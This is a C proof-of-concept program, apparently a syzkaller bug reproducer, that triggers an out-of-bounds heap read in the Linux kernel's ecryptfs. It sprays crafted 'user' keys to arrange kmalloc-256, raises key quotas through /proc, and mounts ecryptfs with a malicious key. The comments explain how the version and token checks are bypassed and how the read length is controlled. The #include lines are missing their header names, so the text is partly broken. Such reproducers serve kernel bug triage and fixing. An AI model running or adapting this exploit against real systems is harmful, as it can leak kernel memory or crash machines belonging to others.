// https://syzkaller.appspot.com/bug?id=0f68e0a7761086dc2bd3265cacc37f60f2b1940c #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #define KEY_SPEC_SESSION_KEYRING -3 int main(void) { char payload[232]; memset(payload, 0, sizeof(payload)); // 1. Bypass ecryptfs_verify_version() and token_type checks // version = 0x0004 (little endian) payload[0] = 0x04; payload[1] = 0x00; // token_type = ECRYPTFS_PASSWORD (0) payload[2] = 0x00; payload[3] = 0x00; // 2. Control the out-of-bounds read length // session_key_encryption_key_bytes will be read from offset 128 of the 3rd object's payload // Set it to 128 to force md5_block to read 2 blocks (128 bytes) // The first block (64 bytes) is read from offset 160 to 224 of the 3rd object. // The second block (64 bytes) is read from offset 224 to 288, crossing the 256-byte boundary. payload[128] = 128; payload[129] = 0x00; payload[130] = 0x00; payload[131] = 0x00; // Increase key quota to allow spraying FILE *f = fopen("/proc/sys/kernel/keys/maxbytes", "w"); if (f) { fprintf(f, "1000000\n"); fclose(f); } f = fopen("/proc/sys/kernel/keys/maxkeys", "w"); if (f) { fprintf(f, "1000000\n"); fclose(f); } // 3. Spray keys to fill kmalloc-256 and ensure predictable layout for (int i = 0; i < 200; i++) { char desc[32]; snprintf(desc, sizeof(desc), "spray_before_%d", i); syscall(__NR_add_key, "user", desc, payload, sizeof(payload), KEY_SPEC_SESSION_KEYRING); } // 4. Add the target key that ecryptfs will use if (syscall(__NR_add_key, "user", "0123456789abcdef", payload, sizeof(payload), KEY_SPEC_SESSION_KEYRING) < 0) { printf("[-] add_key failed: %s\n", strerror(errno)); exit(1); } printf("[+] add_key successful.\n"); // Spray more keys after to act as the 3rd object for (int i = 0; i < 200; i++) { char desc[32]; snprintf(desc, sizeof(desc), "spray_after_%d", i); syscall(__NR_add_key, "user", desc, payload, sizeof(payload), KEY_SPEC_SESSION_KEYRING); } if (mkdir("/tmp/lower", 0777) < 0 && errno != EEXIST) { printf("[-] mkdir /tmp/lower failed: %s\n", strerror(errno)); exit(1); } if (mkdir("/tmp/upper", 0777) < 0 && errno != EEXIST) { printf("[-] mkdir /tmp/upper failed: %s\n", strerror(errno)); exit(1); } // 5. Mount ecryptfs with the malicious key int res = mount("/tmp/lower", "/tmp/upper", "ecryptfs", 0, "ecryptfs_sig=0123456789abcdef,ecryptfs_fnek_sig=0123456789abcdef,ecryptfs_cipher=aes,ecryptfs_key_bytes=16"); if (res < 0) { printf("[-] mount ecryptfs failed: %s\n", strerror(errno)); exit(1); } printf("[+] mount ecryptfs successful.\n"); // 6. Trigger the bug by looking up a file (triggers ecryptfs_write_tag_70_packet) res = chdir("/tmp/upper/trigger_bug"); if (res < 0) { printf("[-] chdir failed: %s\n", strerror(errno)); // This is expected to fail with ENOENT, but the bug should be triggered during lookup } // Sleep a bit to allow any asynchronous tasks to finish (though this bug is synchronous) sleep(1); umount("/tmp/upper"); return 0; }